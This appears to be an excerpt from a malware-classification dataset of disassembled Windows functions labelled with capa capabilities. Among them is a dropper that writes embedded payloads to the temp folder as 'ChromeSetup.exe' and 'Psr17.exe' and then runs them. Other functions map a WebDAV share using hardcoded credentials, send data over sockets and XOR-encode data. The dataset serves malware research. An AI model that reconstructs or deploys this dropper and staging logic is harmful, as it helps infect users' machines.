joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000162f
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
lea r8, [0x14000a004]
mov edx, 4
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14000166a
mov eax, 0
jmp 0x1400017c5
mov rax, qword [rbp - 8]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
call rax
mov dword [rbp - 0xc], eax
mov rax, qword [rbp - 8]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400016ac
mov eax, 0
jmp 0x1400017c5
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x1400016d1
mov eax, 0
jmp 0x1400017c5
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0xffffffffffffffff
jne 0x14000172c
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
jmp 0x1400017c5
mov dword [rbp - 0x2c], 0
lea r8, [rbp - 0x2c]
mov ecx, dword [rbp - 0xc]
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
jne 0x140001784
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
jmp 0x1400017c5
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x10]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
add rsp, 0x70
pop rbp
ret
Function at 0x1400017cb
Capabilities:
Query environment variable

Disassembly:
push rbp
sub rsp, 0x120
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rdx
mov qword [rbp + 0xc0], r8
mov dword [rbp + 0xc8], r9d
lea rax, str.temp
mov rcx, rax
call sub.msvcrt.dll_getenv
mov rdx, rax
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str._sPsr17.exe
mov rcx, rax
call fcn.140001450
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140001493
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, str.temp
mov rcx, rax
call sub.msvcrt.dll_getenv
mov rdx, rax
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str._sChromeSetup.exe
mov rcx, rax
call fcn.140001450
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.14000162f
mov eax, 0
add rsp, 0x120
pop rbp
ret
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.140001930
call fcn.140007840
mov rbx, qword [rax]
test rbx, rbx
jne 0x140007fab
jmp 0x140008021
test cl, cl
je 0x140007fd8
and esi, 1
je 0x140007fc0
mov esi, 1
call sub.msvcrt.dll__ismbblead
test eax, eax
je 0x140007fa7
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x140007f88
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x140007f96
test cl, cl
je 0x140007fd8
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x140007fd8
cmp al, 0x20
jle 0x140007fc8
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x140008006
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x14000a730]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x1400017cb
lea rbx, [0x14000a030]
jmp 0x140007fd8

Function at 0x140001b40
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007870
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007870
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140001bb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e094]
mov rbx, rcx
test esi, esi
jle 0x140001ce0
mov rax, qword [0x14000e098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001bfb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001c85
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001be0
mov rcx, rbx
call fcn.140002620
mov rdi, rax
test rax, rax
je 0x140001d02
mov rax, qword [0x14000e098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002760
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ce7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001c7e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001c90
add dword [0x14000e094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001c7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001b40
nop dword [rax]
xor esi, esi
jmp 0x140001c08
mov rax, qword [0x14000e098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001b40
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001b40
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002290
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e0e0]
test rbx, rbx
je 0x1400022ec
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400022e3
test eax, eax
jne 0x1400022e3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400022c8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002620
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a730]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002640
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002648
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002640
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000269d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002694
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002640
add rax, 0x28
cmp rax, r9
jne 0x140002680
xor eax, eax
ret

Function at 0x1400026a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a730]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400026bf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400026c8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400026bf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002760
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a730]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000277f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002788
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140007f60
Capabilities:
Query environment variable

Disassembly:
push rbp
sub rsp, 0x120
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rdx
mov qword [rbp + 0xc0], r8
mov dword [rbp + 0xc8], r9d
lea rax, str.temp
mov rcx, rax
call sub.msvcrt.dll_getenv
mov rdx, rax
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str._sPsr17.exe
mov rcx, rax
call fcn.140001450
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140001493
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, str.temp
mov rcx, rax
call sub.msvcrt.dll_getenv
mov rdx, rax
lea rax, [rbp - 0x60]
mov r8, rdx
lea rdx, str._sChromeSetup.exe
mov rcx, rax
call fcn.140001450
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.14000162f
mov eax, 0
add rsp, 0x120
pop rbp
ret
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.140001930
call fcn.140007840
mov rbx, qword [rax]
test rbx, rbx
jne 0x140007fab
jmp 0x140008021
test cl, cl
je 0x140007fd8
and esi, 1
je 0x140007fc0
mov esi, 1
call sub.msvcrt.dll__ismbblead
test eax, eax
je 0x140007fa7
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x140007f88
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x140007f96
test cl, cl
je 0x140007fd8
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x140007fd8
cmp al, 0x20
jle 0x140007fc8
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x140008006
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x14000a730]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x1400017cb
lea rbx, [0x14000a030]
jmp 0x140007fd8
Function at 0x1404771f7
Capabilities:
Encode data using xor

Disassembly:
push rdi
movsx edi, r10b
lea rdi, [0x140456b48]
mov r10d, 0x739c7e1a
movzx r10d, byte [rcx + r10 - 0x739c7e1a]
xor r10d, r9d
and r10d, 0xff
mov r10d, dword [rdi + r10*4]
push 0xffffffffed259b86
rol qword [rsp], 0xe4
shr r9d, 8
push 0xe262331
rol dword [rsp + 7], 0xdf
xor r9d, r10d
dec dword [rsp + 3]
inc rcx
xor r9d, 0x8db3b31c
dec r8
lea rsp, [rsp + 0x10]
jne 0x140443280
pop rdi
call fcn.14044f077
lea rsp, [rsp + 0x10]
je 0x1404432d5
mov r10d, 0xf1a1c819
inc r10b
jge 0x140443274
jmp 0x140478208
shl rbx, cl
call fcn.14046965c
Function at 0x180002be0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x180002c41
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x180002c00
mov ecx, dword [r10]
jmp 0x180002d2a
cmp ecx, 0x4e0
jb 0x180002d2a
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x180002c60
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop word [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x180002cb0
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x180003a40
Capabilities:
Connect network resource
Create tcp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov qword [rbp + 0x2f], 0xfffffffffffffffe
mov qword [rsp + 0xe0], rbx
mov rbx, rcx
xor esi, esi
mov qword [rbp - 0x15], rsi
mov edi, 2
mov dword [rbp - 0x19], edi
mov dword [rbp - 0xd], 1
mov qword [rbp + 7], rsi
mov qword [rbp - 9], rsi
mov qword [rbp + 0xf], rsi
lea rax, str.https:__dav.jianguoyun.com_dav_
mov qword [rbp - 1], rax
mov dword [rsp + 0x20], esi
lea r9, str.12121jhksdf
lea r8, str.121121212
lea rdx, [rbp - 0x19]
xor ecx, ecx
call qword [sym.imp.MPR.dll_WNetAddConnection3W]
lea edx, [rsi + 1]
lea r8d, [rsi + 6]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rbp + 0x77], rax
lea rcx, [rbp + 0x77]
mov qword [rbp + 0x37], rcx
mov byte [rbp + 0x3f], 1
cmp rax, 0xffffffffffffffff
jne 0x180003ad9
xor al, al
jmp 0x180003c27
xor eax, eax
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x41], rax
mov ecx, 0x7f000001
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rbp - 0x45], eax
mov dword [rbp - 0x49], 2
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x49]
mov rcx, qword [rbp + 0x77]
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x180003bfe
mov dword [rbp + 0x6f], reloc.WS2_32.dll_recv
lea r8, [rbp + 0x6f]
lea rdx, [rbp - 0x49]
mov rcx, qword [rbp + 0x77]
call qword [sym.imp.WS2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x180003bfe
movzx ecx, word [rbp - 0x47]
call qword [sym.imp.WS2_32.dll_ntohs]
movzx r8d, ax
lea r9, [rbp + 0x2c]
nop dword [rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x180003b50
movdqa xmm0, xmmword [0x180084c20]
movdqu xmmword [rbp - 0x29], xmm0
mov byte [rbp - 0x39], dl
lea rax, [rbp + 0x2c]
cmp r9, rax
je 0x180003ba6
lea r8, [rbp + 0x2c]
sub r8, r9
mov rdx, r9
lea rcx, [rbp - 0x39]
call fcn.180001520
lea rcx, [rbx + 8]
lea rdx, [rbp - 0x39]
call fcn.180025820
mov rdx, qword [rbp - 0x21]
cmp rdx, 0x10
jb 0x180003bea
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003be5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003c3a
call fcn.18002aef0
mov edx, 0x7fffffff
mov rcx, qword [rbp + 0x77]
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x180003c1e
mov rcx, qword [rbp + 0x77]
cmp rcx, 0xffffffffffffffff
je 0x180003c1a
mov edx, edi
call qword [sym.imp.WS2_32.dll_shutdown]
mov rcx, qword [rbp + 0x77]
call qword [sym.imp.WS2_32.dll_closesocket]
xor al, al
jmp 0x180003c27
mov rax, qword [rbp + 0x77]
mov qword [rbx], rax
mov al, 1
mov rbx, qword [rsp + 0xe0]
add rsp, 0xc0
pop rdi
pop rsi
pop rbp
ret
call fcn.18004df84
nop
Function at 0x180006360
Capabilities:
Connect network resource

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
xor edi, edi
mov byte [rcx + 0x30], 0
mov rbx, rcx
mov qword [rbp - 0x15], rdi
lea rax, str.https:__dav.jianguoyun.com_dav_
mov qword [rbp + 7], rdi
xor ecx, ecx
mov qword [rbp - 9], rdi
lea r9, str.12121jhksdf
mov qword [rbp + 0xf], rdi
lea r8, str.121121212
mov qword [rbp - 1], rax
lea rdx, [rbp - 0x19]
mov dword [rsp + 0x20], edi
mov dword [rbp - 0x19], 2
mov dword [rbp - 0xd], 1
call qword [sym.imp.MPR.dll_WNetAddConnection3W]
mov rcx, qword [rbx + 8]
lea r8, [rbp + 0x17]
mov qword [rbx + 0x38], rdi
mov edx, 0x19181731
mov qword [rbx + 0x40], rdi
mov byte [rbx + 0x31], dil
mov dword [rbx + 0x34], 1
mov rax, qword [rcx]
mov dword [rbp - 0x31], edi
mov qword [rbp + 0x37], rbx
mov r9, qword [rax + 8]
lea rax, [0x180006490]
mov qword [rbp - 0x39], rax
lea rax, [0x180081270]
movups xmm0, xmmword [rbp - 0x39]
mov qword [rbp + 0x17], rax
movzx eax, byte [rbp - 0x29]
mov byte [rbp + 0x2f], al
movzx eax, byte [rbp - 0x28]
mov byte [rbp + 0x30], al
movzx eax, byte [rbp - 0x27]
mov byte [rbp + 0x31], al
lea rax, [rbp + 0x17]
mov qword [rbp + 0x4f], rax
movups xmmword [rbp + 0x1f], xmm0
call r9
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x180009ab0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x48
xor eax, eax
lea r8, [0x180009920]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1800290dc
add rax, 0x4c4b400
imul rcx, rax, 0x64
movabs rax, 0x112e0be826d694b3
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rsp + 0x30], rdx
imul eax, edx, 0x3b9aca00
sub ecx, eax
mov dword [rsp + 0x38], ecx
lea rcx, [rsp + 0x30]
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180028f5c
mov rcx, qword [0x1800a0120]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x412
call qword [sym.imp.USER32.dll_SendMessageW]
xor eax, eax
add rsp, 0x48
ret

Function at 0x180009b50
Capabilities:
Create thread

Disassembly:
sub rsp, 0x48
xor eax, eax
lea r8, [0x180009920]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1800290dc
add rax, 0x4c4b400
imul rcx, rax, 0x64
movabs rax, 0x112e0be826d694b3
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rsp + 0x30], rdx
imul eax, edx, 0x3b9aca00
sub ecx, eax
mov dword [rsp + 0x38], ecx
lea rcx, [rsp + 0x30]
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.180028f5c
mov rcx, qword [0x1800a0120]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x411
call qword [sym.imp.USER32.dll_SendMessageW]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x48
ret
Function at 0x18000e400
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rdx
push r13
push r14
push r15
sub rsp, 0x80
mov rax, rdx
mov r13d, r8d
xor edx, edx
mov r15, rcx
mov r14d, edx
test r8d, r8d
jne 0x18000e435
xor eax, eax
add rsp, 0x80
pop r15
pop r14
pop r13
ret
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rbp
mov qword [rsp + 0xb8], rsi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x70], r12
test r13d, r13d
je 0x18000e5ee
mov ecx, 0x4000
mov r12d, r14d
mov ebp, r13d
sub ebp, r14d
cmp ebp, ecx
cmova ebp, ecx
add r12, rax
je 0x18000e5e7
cmp ebp, ecx
ja 0x18000e5e7
lea rax, [rsp + 0x30]
mov dword [rsp + 0x20], edx
mov qword [rsp + 0x28], rax
lea r8, [r15 + 0x18180]
mov rax, qword [r15 + 0x10]
lea rcx, [r15 + 0x28]
mov dword [rsp + 0x34], edx
mov dword [rsp + 0x44], edx
mov dword [rsp + 0x54], edx
mov dword [rsp + 0x64], edx
mov edx, 4
mov dword [rsp + 0x24], 4
call qword [rax + 0x58]
mov ecx, dword [r15 + 0x18180]
mov edx, 0x8064
mov eax, dword [r15 + 0x18184]
mov r8, r12
sub rdx, rax
mov r9d, ebp
sub rdx, rcx
add rcx, 0x9a
add rcx, r15
call fcn.18000e990
mov edx, dword [r15 + 0x18180]
lea r12, [r15 + 0x9a]
mov dword [rsp + 0x30], edx
lea r8, [rsp + 0x20]
mov qword [rsp + 0x38], r12
lea rcx, [r15 + 0x28]
mov dword [rsp + 0x34], 7
xor r9d, r9d
lea rax, [rdx + r12]
mov dword [rsp + 0x40], ebp
mov qword [rsp + 0x48], rax
lea rax, [rdx + rbp]
mov dword [rsp + 0x44], 1
lea rdx, [r15 + 0x9a]
add rdx, rax
mov dword [rsp + 0x54], 6
mov eax, dword [r15 + 0x18184]
mov dword [rsp + 0x50], eax
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x58], rdx
xor edx, edx
mov dword [rsp + 0x64], 0
mov r10, qword [rax + 0xc8]
call r10
test eax, eax
js 0x18000e5e7
mov edi, dword [rsp + 0x50]
add edi, dword [rsp + 0x40]
add edi, dword [rsp + 0x30]
cmp qword [r15], 0
je 0x18000e5e7
xor edx, edx
mov ebx, edx
test r12, r12
je 0x18000e5e7
test edi, edi
je 0x18000e5c4
mov rcx, qword [r15]
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, r12
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x18000e5e7
test eax, eax
je 0x18000e5b9
add ebx, eax
cmp ebx, edi
jb 0x18000e590
jmp 0x18000e5bd
test ebx, ebx
je 0x18000e5e7
cmp ebx, 0xffffffff
je 0x18000e5e7
xor edx, edx
cmp ebp, 0xffffffff
je 0x18000e5e7
test ebp, ebp
je 0x18000e5e2
add r14d, ebp
cmp r14d, r13d
jae 0x18000e5ee
mov rax, qword [rsp + 0xa8]
jmp 0x18000e460
test r14d, r14d
jne 0x18000e5ee
mov eax, 0xffffffff
jmp 0x18000e5f1
mov eax, r14d
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0xb8]
mov rbp, qword [rsp + 0xb0]
mov rbx, qword [rsp + 0xa0]
mov r12, qword [rsp + 0x70]
add rsp, 0x80
pop r15
pop r14
pop r13
ret
Function at 0x180010330
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x3a8]
sub rsp, 0x4a0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, r8
mov r10, rdx
mov rbx, rcx
xor esi, esi
mov qword [rsp + 0x58], rsi
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x68], rcx
mov byte [rsp + 0x70], 1
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x20019
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, r10
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1800104e0
mov edi, esi
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp - 0x80]
call fcn.18004b570
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x190]
call fcn.18004b570
mov dword [rsp + 0x50], 0x208
mov dword [rbp + 0x3c8], 0x208
lea rax, [rbp + 0x3c8]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x190]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x50]
lea r8, [rbp - 0x80]
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x1800104e0
nop dword [rax]
mov r8d, 1
lea rdx, [0x180082134]
mov rcx, rbx
call fcn.180026ba0
lea rax, [rbp - 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x180010450
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.180026ba0
inc edi
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp - 0x80]
call fcn.18004b570
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x190]
call fcn.18004b570
mov dword [rsp + 0x50], 0x208
mov dword [rbp + 0x3c8], 0x208
lea rax, [rbp + 0x3c8]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x190]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x50]
lea r8, [rbp - 0x80]
mov edx, edi
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
je 0x180010430
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x1800104f0
